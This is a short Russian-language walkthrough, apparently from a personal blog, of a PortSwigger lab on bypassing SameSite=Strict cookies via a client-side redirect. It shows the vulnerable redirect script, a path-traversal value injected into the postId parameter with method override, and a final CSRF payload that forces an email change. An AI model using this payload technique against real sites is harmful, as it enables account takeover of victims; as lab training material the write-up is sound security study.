На странице
apsyleg1 мин
#portswigger #csrf #samesite #web-security

SameSite Strict bypass через client-side redirect

Лаборатория

SameSite Strict bypass via client-side redirect · Practitioner

Решение

Дано: уже привычная форма смены email. Логинимся:

set-cookie: session=TkCuL6az98ZphhtL0tfC47tfHD8bAIRT; Secure; HttpOnly; SameSite=Strict

На этот раз SameSite=Strict, и предыдущий трюк с GET-запросом не пройдёт — кука не будет приложена к запросу. Условие намекает на client-side redirect, найдём его.

Зайдём на сайт, зайдём в пост — есть форма отправки комментария:

postId=4&comment=1223&name=HUUU&email=r%40t.ru&website=https%3A%2F%2Flab.apsyleg.ru

Отправляем, улетает POST-запрос, возврат 302. Редирект на /post/comment/confirmation?postId=4. И далее, спустя 3 секунды, уже клиентский редирект на /post/4.

Посмотрим код страницы /confirmation. Тут есть загрузка скрипта /resources/js/commentConfirmationRedirect.js и вызов:

<script>redirectOnConfirmation('/post');</script>

Содержимое скрипта:

redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

Инъекция может выглядеть так (помним про method override):

../my-account/change-email?_method=POST&email=hacked@b.ru

А сам URL:

/post/comment/confirmation?postId=../my-account/change-email?_method=POST&email=x@x.ru

"Missing parameter: 'submit'". Чот не хватает, го посмотри как работает легитимная форма смены пароля. И правда нужно ещё передавать submit=1:

/post/comment/confirmation?postId=../my-account/change-email?_method=POST&email=x@x.ru&submit=1

Итоговая нагрузка:

<script>
    location = 'https://0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?_method=POST&email=x@x.ru&submit=1';
</script>

Не прошло, обрезались параметры после первого &. Сделаем тогда энкодинг ? и &:

<script>
    location = 'https://0a02006f03fc7e2f82b0a17e007f00dd.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email%3f_method=POST%26email=x@x.ru%26submit=1';
</script>

Лаба решена.